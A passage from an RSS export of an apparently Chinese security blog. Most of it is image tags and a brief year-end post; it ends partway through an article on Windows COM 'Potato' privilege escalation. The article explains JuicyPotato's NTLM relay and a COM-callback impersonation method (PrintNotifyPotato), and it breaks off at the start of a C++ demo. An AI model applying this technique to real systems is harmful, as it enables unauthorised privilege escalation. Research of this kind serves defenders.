src="https://wechat2rss.xlab.app/img-proxy/?k=5a1aa6fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569Lf5SBQIR6Nib3UiciauMnVXDibFp3a0iaqB01Zf3SvxNXg8XyiaFcrzLosJA%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9221f0cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569Xz0N0t9JKbVnicYia50KK0n9K3u95cPtEbSyhZdibsMaa0kqdG4O4kBTQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b7c76182&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569fpW8mDMJaibkfBggxDicutOVOAGeB8mhWaKIzcrqfomOK2k0pSnibULzw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=85f59770&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569yfWm6zeHDxyiaica7iaZzsISJCTYibJERwkzySTbCgSkCY8eZgicEou4raw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=841d6fe5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569RLQbfusPwqiaibW29YFCUUkZU3rrNtxgv7XrHMKcpVsL4iaKcv79w3rNg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5e78f3c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569L2SqJY4fjgDUExAgBfAWjTRV0aXYR2TE3Fra7OfX8dfic95oQKEF7LA%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c345fd51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569U8eGzIjW8rKE4p7mEicyiceQOn78dEVXRYEPiaJX8Ret6oPOicys9GYf9A%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4037e2da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569nI6wd3Zdux2fTIzK3kZSicLc4TOLYx0moAtgKAQMoIico0sK1Am8UqAQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a9dc41fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569Yqkj4EiaSDYgkTic0LF39KcXlDsFEhLyo18zB5AVeSYrSmhUqxmibjJEw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=127278a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569XMFvOFkmWw4wsDaULUyORD4OGSoEkvxHKicywnsdQZibj3o3xlJic1moQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=78ff6101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569cia86l6lGRB0VxzM2CkClRZsneqsyzVgRzMdlw9Ns0oibfI82Uhdy4dA%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c74f67d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569PH9TicUpZicnhlIMf0w0zFKhPLTzgqsPlncMHTnvgOTWCRbDSgfqR15A%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=48d2e329&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569Y1e324F5AxiaN2jFp5pjjEOHalMo8GyIQ6uImJiacfxl6oJd5fNHbvsg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c8f43f2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569VtwvYvcMJRzAt7kNiaSFuNDvyic2EKSvFia4Kcb45f9LgJgt29BWImGzg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=19798ce7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX85692n9cphYBaenj5uyFw1bHNZzWdcNfr0p20JybXj1p1ubRQxy9tIm6GQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4484f409&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569YpFPEnugAvF77Bvn4XUIrEPDuly2U6nBVf7s05dp4Xlh2kT8xHwbOw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=48c03822&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569747phORdIE40Iyrtnia0z6PgjQVjDLRrEW1eY6MCZpwuX6HV5GgBvEQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9a54479e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX85692fj4TIgnpgOXfoQVeZMgFMNgvFWSF8nPoATBnhqjrgNp7VaB89XJIA%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ae60a128&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569RYjsOUDHpmh1asS4yneUQQEm5QWkC8MyJsq4LN8xHYtrvseOjjNVeQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e0be4dc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569YpcW7AbiacdgHMW2ISiafJ9CpQBbqcEYPzibIuibOJ0qrfHSVjVIY39CLQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dda568c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569VE26uK5GdtPfhpcoA3wyA56UOusRQUS48UdPcNsNWphbmUgia3JxGXg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=637ff0a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX85696St8hYVFQNFUHrxFYpEfbEfYTao79Nk5zb9tJXIwS7AXQfM4jbeS9g%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=77e7b491&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569M8AjQpXWR0mlsZFtj8x7JbrIVjAvr5O6ibGc93ztgWZRJ1JDzzUuRDw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=08674196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569Jsmll4AURI3arvnZ92IOyHOz8aeWhAhdYDZqKU74JPGEwcojF7t3Bg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=233648b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569GaAco27nIzz4iaecsx2Cj5FgZsHibrqTq4t0XvxXjetZ65LrGFWVtnGw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=429fc852&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569UI1mh7icJmByOS52e7juYjrKCCU4W3uQHDaJRutjGssJkJw13mxaebw%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bda76bd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569SKIibcKPIfFUnWJBjM39okvA61qAUiajpx7qYzek7626mRE6S1ATEPcg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2623f05b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569hEVYIMzicI88WuD5kr3M07s5c4mxgBj4vbdjuOAa93mL0pklapPkmuQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=27c9a798&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX8569ELJBIiaWyFygkWibbdrbl9mCNRy3NvymxyCrwgG502QhyUrPwHOEkSUA%2F640%3Fwx_fmt%3Djpeg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.56171875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6a9d687c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic4jvMHhBsxv3VuFrdX85691ZYCkibsrFhKMucYm6NdlqXVW50nibbmyWl8T7x5rJLxMuSAJCBBrcag%2F640%3Fwx_fmt%3Djpeg"/></p><p>2333333333333</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486782">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8e7a3a99&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486782%26idx%3D1%26sn%3D2719a799edf460319b0006e11ef72b94%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Mar 2023 13:08:00 +0800</pubDate>
    </item>
    <item>
      <title>2022年终总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486693&amp;idx=1&amp;sn=005d8dc437bce052c158695cdd0ed51a</link>
      <description>再接再厉</description>
      <content:encoded><![CDATA[<p>
<span>Skay</span> <span>2022-12-31 17:44</span> <span style="display: inline-block;">山东</span>
</p>

<p>再接再厉</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=31dc029d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibptK8UqcyiaqKX4jHic1S06riah07kb6xarDqOy7mJfibwMmiaiaA4LicILBS8pbh9c1zpjYOT4icJcqIQibw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><section style="display: inline-block;"><img data-ratio="1" data-w="800" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=186adec0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ibptK8UqcyiaqKX4jHic1S06r7TUBiacGEPXhPMSxyBh1Me7uiaadLDoubR8RshqdDqicSj64KAxEHznGg%2F640%3Fwx_fmt%3Dpng"/></section>​</section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247486693">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f92fe4d8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486693%26idx%3D1%26sn%3D005d8dc437bce052c158695cdd0ed51a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 31 Dec 2022 17:44:00 +0800</pubDate>
    </item>
    <item>
      <title>COM安全 新型土豆提权 第一部分</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486680&amp;idx=1&amp;sn=3846d110bbe050e1141327a95d50d943</link>
      <description>自Window10 1803/Server2016及以上打了微软的补丁后，基于OXID 反射NTLM提权已经失效，代表作如JuicyPotato、SweetPotato，本文将从COM开发与调用开始，寻找替代OXID 反射NTLM提权的方法</description>
      <content:encoded><![CDATA[<p>
原创 <span>Beichen</span> <span>2022-12-08 12:14</span> <span style="display: inline-block;">北京</span>
</p>

<p>自Window10 1803/Server2016及以上打了微软的补丁后，基于OXID 反射NTLM提权已经失效，代表作如JuicyPotato、SweetPotato，本文将从COM开发与调用开始，寻找替代OXID 反射NTLM提权的方法</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0c30f3b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3lnGkTgOoyR5ic5hpPMQ5obZM4b5ylCJ7DDKAKEXJiaaA60WMicFWicAXEgA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2></h2><h2 style="text-align: center;"><strong><span style="font-size: 20px;">一、概述</span></strong></h2><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;">自从Window10 1803/Server2016及以上打了微软的补丁之后，基于OXID 反射NTLM提权已经失效了，代表作如JuicyPotato、SweetPotato，</span></p><p><span style="font-size: 14px;">本文将从COM开发与调用开始，寻找替代OXID 反射NTLM提权的方法</span></p><h2 style="text-align: center;"><br/><strong><span style="font-size: 20px;"></span></strong></h2><h2 style="text-align: center;"><strong><span style="font-size: 20px;">二、关于COM对象</span></strong></h2><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;">COM对象即“组件对象模型”，是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则，用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。</span></p><p><span style="font-size: 14px;">COM对象是COM模型中的核心概念，它表示一个可被其他程序访问和使用的组件。通常情况下，一个COM对象由两部分组成：一个接口（Interface）和一个实现（Implementation）。接口定义了该对象的功能和行为，实现则实现了接口的具体功能。</span></p><p><span style="font-size: 14px;">COM对象的优点在于它具有跨语言、跨平台的特性，使得不同语言、不同平台的程序能够相互调用和协作。另外，COM对象的接口和实现分离的设计方式，使得它能够更好地支持多态和继承。</span></p><p><span style="font-size: 14px;">总之，COM对象是COM模型中的核心概念，它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成，接口定义了对象的功能和行为，实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性，使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。</span></p><h2 style="text-align: center;"><br/><strong><span style="font-size: 20px;"></span></strong></h2><h2 style="text-align: center;"><strong><span style="font-size: 20px;">三、COM与DCOM对象的区别</span></strong></h2><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;">COM（组件对象模型）是一种用于在不同软件组件之间进行通信的技术，它提供了一种方法，允许开发人员创建可以在多个软件组件之间共享的对象，从而提高了软件开发的灵活性和可重用性。</span></p><p><span style="font-size: 14px;">DCOM（分布式组件对象模型）是一种在网络上运行的分布式技术，它扩展了COM的功能，使得可以在不同的计算机之间进行通信和交互。</span></p><p><span style="font-size: 14px;">因此，COM是在客户端计算机的本地级别执行的，而DCOM则是在服务器端运行的。这意味着，DCOM比COM更具有分布式特性，可以在不同的计算机之间进行通信和交互。此外，DCOM还可以为远程组件提供安全性和访问控制，从而提高了系统的安全性。</span></p><p><span style="font-size: 14px;">DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制，如身份验证和授权，来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件，从而提高了系统的安全性。</span></p><p><span style="font-size: 14px;">另外，DCOM还支持跨网络的通信，即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序，提高了系统的可用性和可扩展性。</span></p><p><span style="font-size: 14px;">总之，DCOM是一种扩展了COM的技术，用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制，并支持跨网络的通信，可以更好地支持分布式应用程序。</span></p><h1 style="text-align: center;"><strong><span style="font-size: 20px;">四 、OBJREF</span></strong></h1><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;">在DCOM中，OBJREF（对象引用）是一个重要的概念。它表示一个远程对象的引用，用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息，用于指定对象的位置和接口。</span></p><p><span style="font-size: 14px;">OXID（对象交互标识符）是OBJREF中的一个重要部分，它表示一个远程对象的唯一标识符，用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成，用于指定该对象所在的计算机。</span></p><p><span style="font-size: 14px;">OID（对象标识符）也是OBJREF中的一个重要部分，它表示一个对象的唯一标识符，用于在单个计算机中识别该对象。OID通常由一个GUID组成，用于唯一标识一个对象。</span></p><p><span style="font-size: 14px;">IPID（对象接口标识符）也是OBJREF中的一个重要部分，它表示一个对象的接口的唯一标识符，用于在单个计算机中识别该接口。IPID通常由一个GUID组成，用于唯一标识一个接口。</span></p><p><span style="font-size: 14px;">在DCOM中，OBJREF是一个重要的概念，它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息，用于指定对象的位置和接口。在进行远程调用时，OBJREF用于传递对象的信息，从而实现对象的交互和通信。</span></p><h1 style="text-align: center;"><br/><strong><span style="font-size: 20px;"></span></strong></h1><h1 style="text-align: center;"><strong><span style="font-size: 20px;">五、JuicyPotato的原理</span></strong></h1><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;">JuicyPotato使用CoGetInstanceFromIStorage触发远程调用，CoGetInstanceFromIStorage是一个Windows API函数，用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例，并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。</span></p><p><span style="font-size: 14px;">在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象，在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker</span></p><p><img class="rich_pages wxw-img" data-ratio="0.46944444444444444" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a6224ff9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3ldNWbD3vsTg1m3xiaTdJbcE9zERSAyxgGpJwwQtI3QKEeTbibM8cSgDNA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">PointerMoniker指的是对象的引用，也就是说在调用CoGetInstanceFromIStorage时，COM服务会获取反序列化的Class类型，然后根据类型进行下一步反序列化。</span></p><p><span style="font-size: 14px;">然后JuicyPotato在IStorage MarshalInterface序列化对象时，写入了引用的对象，并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer</span></p><p><img class="rich_pages wxw-img" data-ratio="0.4703703703703704" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b6d13db9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3lHjBT8XtosEGGjNkAI5blSXApvkHLXMFD0xGApOaBibMQy6DQawXLxNg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">然后JuicyPotato会对来自COM Server的流量进行解析，解析出NTLM认证信息再通过AcceptSecurityContext获取Token。</span></p><p><span style="font-size: 14px;">但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。</span></p><h1 style="text-align: center;"><strong><span style="font-size: 20px;">六、调用COM时的对象引用与PrintNotifyPotato</span></strong></h1><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;">当我们在调用COM方法时，有些方法可能要求我们提供一个IUnknown对象或者IDispatch，当COM Server去操作我们提供的IUnknown对象时，COM Serve会回调我们实现的对象，我们就可以通过CoImpersonateClient去模拟COM Server。</span></p><p><span style="font-size: 14px;">来自COM Server的调用我们实现的QueryInterface方法，我们可以在实现的QueryInterface方法模拟COM Server的权限</span></p><p><img class="rich_pages wxw-img" data-ratio="0.387037037037037" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=08e515de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3lqaSaeNJJ9klDgUUiczHLmAEuYDXOVGuHMPicFiaaliawRn36s14VTx9mKA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.22945205479452055" data-w="584" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=95ed58e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3ls9HByx3ffcCFdRzn4WzuS1xErA2tJ4slnibsdRYico2rjgvOiaztokfMw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">Demo</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">// PrintNotifyDemo.cpp : 此文件包含 &#34;main&#34; 函数。程序执行将在此处开始并结束。</span></code><code><span class="code-snippet_outer">//</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">#include &lt;iostream&gt;</span></code><code><span class="code-snippet_outer">#include &#34;ole2.h&#34;</span></code><code><span class="code-snippet_outer">#include &lt;comdef.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;printerextension.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;sddl.h&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class FakeObject : public 